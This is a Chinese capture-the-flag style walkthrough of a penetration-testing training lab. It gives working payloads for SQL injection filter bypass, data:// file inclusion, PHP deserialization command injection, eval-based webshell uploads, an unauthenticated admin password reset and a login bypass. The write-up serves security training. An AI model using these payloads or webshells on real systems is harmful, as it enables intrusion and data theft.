类 CISP - PTE 模拟测试

这靶机是在 N 年前做 Web 渗透培训时候的考核靶机,最近又有用到,那正好水一篇

1 SQL Injection

访问关卡界面如下:

一个非常明显的 SQL Injection 场景,输入任意数字后查询即可:

经过输入尝试,可以发现如下内容:

  • 闭合类型:单引号
  • 闭合符号:#/%23-- /+
  • 过滤字符:and、or、union、select
  • 绕过方式:双写

注入步骤如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
## 判断查询列数
?id=1' oorrder by 1 %23 # 正常
?id=1' oorrder by 2 %23 # 正常
?id=1' oorrder by 3 %23 # 报错
## 查看页面回显
?id=-1' uniunionon selselectect 1,2 %23 # 1,2 均回显
## 查看所有数据库名
?id=-1' uniunionon selselectect 1,group_concat(schema_name) from infoorrmation_schema.schemata %23 # information_schema,Flag_db,mysql,test
## 查看 Flag_db 中的所有表名
?id=-1' uniunionon selselectect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema = 'Flag_db' %23 # FlA9_t0b
## 查看 FlA9_t0b 中的字段
?id=-1' uniunionon selselectect 1,group_concat(columns_name) from infoorrmation_schema.columns where table_schema = 'Flag_db' aandnd table_name = 'FlA9_t0b' %23 # fLa9_col
## 查看 flag
?id=-1' uniunionon selselectect 1,group_concat(fLa9_col) from Flag_db.FlA9_t0b %23 # Flag{Sql_INject_IS_funny~_~}

2 File_include

访问关卡界面如下:

可以看到一个非常明显的参数名 flag,尝试使用 PHP 伪协议:

1
http://10.10.8.13:8002/index.php?file=data:,<?php phpinfo()?>

可以看到 data 协议可以使用,说明对方设置了 allow_url_include = On,直接使用 AntSword 连接:

1
http://10.10.8.13:8002/index.php?file=data:,<?php eval($_POST[1]);?>

查找 flag:

3 Unserialize

访问关卡界面如下:

一个简单的反序列化题目,重点在于 call_user_func 函数,这是一个可以用于执行命令的函数。首先将 index 类进行序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class index{
public $method;
public $args;
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func(array($this,$this->method), $this->args);
}
}
function ping($host){
system("ping -c 2 $host");
}
}
echo serialize(new index); // O:5:"index":2:{s:6:"method";N;s:4:"args";N;}
?>

根据上述代码,得出 method 必须为 ping,args 被交由 ping () 函数执行中的 system 执行,这时可以使用连接符进行命令拼接,构造如下代码:

1
O:5:"index":2:{s:6:"method";s:4:"ping";s:4:"args";s:9:"127.0.0.1";} 

构建漏洞利用代码:

1
O:5:"index":2:{s:6:"method";s:4:"ping";s:4:"args";s:12:"127.0.0.1;ls";}

查看 flag:

1
O:5:"index":2:{s:6:"method";s:4:"ping";s:4:"args";s:30:"127.0.0.1;cat f1a9_is_here.txt";}

4 File_upload

访问关卡界面如下:

一个典型的文件上传界面,下方附带了关卡代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

可以看出是白名单,通过各种尝试,得出特殊后缀绕过(php3、phtml…):

1
<?php echo 404;eval($_POST[1])?>

成功找到 flag。

5 Hack a OA SYSTEM

访问关卡界面如下:

下载 OA 源码,分析源码,得出以下几个漏洞。

5.1 Unserialize

发现一个 test.php 文件,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

class test{

public $method;
public $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}

function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}

function ping($host){
system("ping -c 2 $host");
}
function waf($str){
$str=str_replace(' ','',$str);
return $str;
}

function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim(mysql_escape_string($v)));
}
}
}
$a=@$_POST['a'];
@unserialize($a);
?>

查看源码,发现与前面 Unserialize 的代码类似,但是存在有不同之处:

1
2
3
4
5
6
7
## 这里是
call_user_func_array()

## 上面是
call_user_func()

## 一个提交的是数组函数,一个单一函数

一样先将其反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class test{
public $method;
public $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}

function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}

function ping($host){
system("ping -c 2 $host");
}
function waf($str){
$str=str_replace(' ','',$str);
return $str;
}

function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim(mysql_escape_string($v)));
}
}
}
echo serialize(new test()); //O:4:"test":2:{s:6:"method";N;s:4:"args";N;}
?>

构建漏洞代码(args 需要是数组):

1
2
## echo serialize(array("127.0.0.1"));
O:4:"test":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:9:"127.0.0.1";}}

这时候就可以使用命令连接符进行命令拼接,但是查看源码里有个 WAF 函数,过滤了空格,无法实现返回上级,通过页面提示,flag 文件在系统根目录下:

1
a=O:4:"test":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:23:"127.0.0.1;cat</f1a9.txt";}}

5.2 DatabaseConfig.php

在 config.php 中发现了数据库连接文件:

1
2
3
4
5
6
7
8
9
<?php
define("DBHOST","127.0.0.1");
define('DBUSER','root');
define('DBPASS','root');
define('DBNAME','oa');
define('ROOTDRI',__DIR__."/../");
require(ROOTDRI.'/org/smarty/Smarty.class.php');
session_start();
?>

但是数据库连接不上,因为靶机 Docker 并未开放对应数据库端口。

5.3 File_upload(1)

在 File.php 中发现了文件上传代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

class File{
private $typelist;
private $allowexten;
private $path;
function __construct(){
if (!isset($_SESSION['username'])){
exit("not login");
}
$this->typelist==array("image/jpeg","image/jpg","image/png","image/gif");
$this->notallow=array("php", "php5", "php3", "php4", "php7", "pht", "phtml", "htaccess","html", "swf", "htm");
$this->path='./upload';
}

function save(){
$username=$_SESSION['username'];
$upfile=$_FILES['pic'];
$fileinfo=pathinfo($upfile["name"]);
if(in_array($fileinfo["extension"],$this->notallow)){
exit('error');
}
$path='./upload/'.$username."_".$fileinfo["filename"].".".$fileinfo["extension"];
if (file_exists($path)){
exit("file already exists");
}
if(move_uploaded_file($upfile['tmp_name'], $path)){
return True;
}else{
return False;
}
}
}
?>

发现其过滤规则,但文件上传需要对应上传点,所以需要先注册一个用户:

1
2
3
if (!isset($_SESSION['username'])){
exit("not login");
}

但是上传时会发现怎么上传都是失败,经查看是 User.php 调用了 File.php 文件:

1
2
3
4
5
6
7
8
9
10
11
function upload(){
if(isset($_SESSION['username']) and $_SESSION['username']==="admin"){
include_once __DIR__."/File.php";
$up=new File();
if($up->save()){
$this->tp->display("success.tpl");
}
}else{
$this->tp->display("error.tpl");
}
}

查看 User.php 源码发现限制了上传,因为 username 必须为 admin。

5.4 Code Audit

上传要求必须为 admin,看看能不能修改 admin 的密码:

1
2
3
4
5
6
7
8
9
10
11
function upload(){
if(isset($_SESSION['username']) and $_SESSION['username']==="admin"){
include_once __DIR__."/File.php";
$up=new File();
if($up->save()){
$this->tp->display("success.tpl");
}
}else{
$this->tp->display("error.tpl");
}
}

查看 index.php 页面源码,发现有两个函数 run_c、run_a,且当 c 参数的值为空就以 User 为默认值,当 a 参数为空就以 Index 为默认值:

1
2
3
4
5
6
7
8
9
10
11
<?php
include "./common/function.php";
include "./include/config.php";
include "./lib/base.php";

$c=isset($_GET['c'])?$_GET['c']:'User';
$a=isset($_GET['a'])?$_GET['a']:'Index';

$obj=run_c($c);
run_a($obj,$a);
?>

看看这两个函数的作用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
function run_c($class){
if ( !preg_match('/^\w+$/', $class) or (!file_exists(ROOTDRI."/lib/".$class.".php")) ){
exit('hack');
}else{
include "./lib/".$class.".php";
return new $class;
}
}

function run_a($obj,$action){
if ( !preg_match('/^\w+$/', $action) or !method_exists($obj,$action) ){
exit('hack');
}else{
eval('$obj->'.$action.'();');
}
}
?>

当 C 值为空时,包含 include "./lib/".User.".php",进入 lib/User.php,发现有一个更新密码的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class User extends base{
......
function updatepass(){
if (!empty($_POST['username']) and !empty($_POST['password'])){
$username=addslashes($_POST['username']);
$password=md5($_POST['password']);
$sql="update user set password='$password' where username='$username' ";
if (mysql_query($sql)){
$this->tp->display("success.tpl");
}
}
}
}
?>

发现是直接接收 username 与 password 的值,并没有进行二次校验 / 过滤。构造 Payload:

1
2
3
4
5
6
7
## 两个参数
?c=User&a=updatepass
## 一个参数
?a=updatepass

## POST
username=admin&password=123456

修改成功~,可以成功登录。

5.5 SQL Injection

5.5.1 万能密码

在登录时抓包发现存在有万能密码:

1
username=admin'-- &password=123456

5.5.2 SQLMap

保存上述 HTTP 请求报文,使用 SQLMap 工具跑一下:

  • 存在布尔盲注和时间盲注,深入查找数据:

得出管理员账号密码:admin / admin888。

5.6 暴力破解

既然存在有登录框,已知用户名是 admin,而且没有验证码和次数限制,那就直接使用 BurpSuite 进行暴力破解:

[!Warning]
BurpSuite 默认的密码字典爆不出来,需要手动添加字典。

得出密码是:admin888

5.7 File_upload(2)

根据之前的漏洞利用,已经得出管理员账号密码为:admin / admin888。登录查看内容:

只有一个文件上传点,查看文件上传的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class File{
private $typelist;
private $allowexten;
private $path;
function __construct(){
if (!isset($_SESSION['username'])){
exit("not login");
}
$this->typelist==array("image/jpeg","image/jpg","image/png","image/gif");
$this->notallow=array("php", "php5", "php3", "php4", "php7", "pht", "phtml", "htaccess","html", "swf", "htm");
$this->path='./upload';
}
function save(){
$username=$_SESSION['username'];
$upfile=$_FILES['pic'];
$fileinfo=pathinfo($upfile["name"]);
if(in_array($fileinfo["extension"],$this->notallow)){
exit('error');
}
$path='./upload/'.$username."_".$fileinfo["filename"].".".$fileinfo["extension"];
if (file_exists($path)){
exit("file already exists");
}
if(move_uploaded_file($upfile['tmp_name'], $path)){
return True;
}else{
return False;
}
}
}
?>

分析源码可得出如下结果:

1
2
3
4
5
6
7
8
9
10
11
12
## 允许上传的 MIME 类型
array("image/jpeg","image/jpg","image/png","image/gif")

## 不允许上传的后缀名
array("php", "php5", "php3", "php4", "php7", "pht", "phtml", "htaccess","html", "swf", "htm");

## 文件上传的保存路径为
./upload

## 存放的文件名为
$username."_".$fileinfo["filename"].".".$fileinfo["extension"]
admin_xxx.xxx

可以使用大小写上传文件,最后连接木马: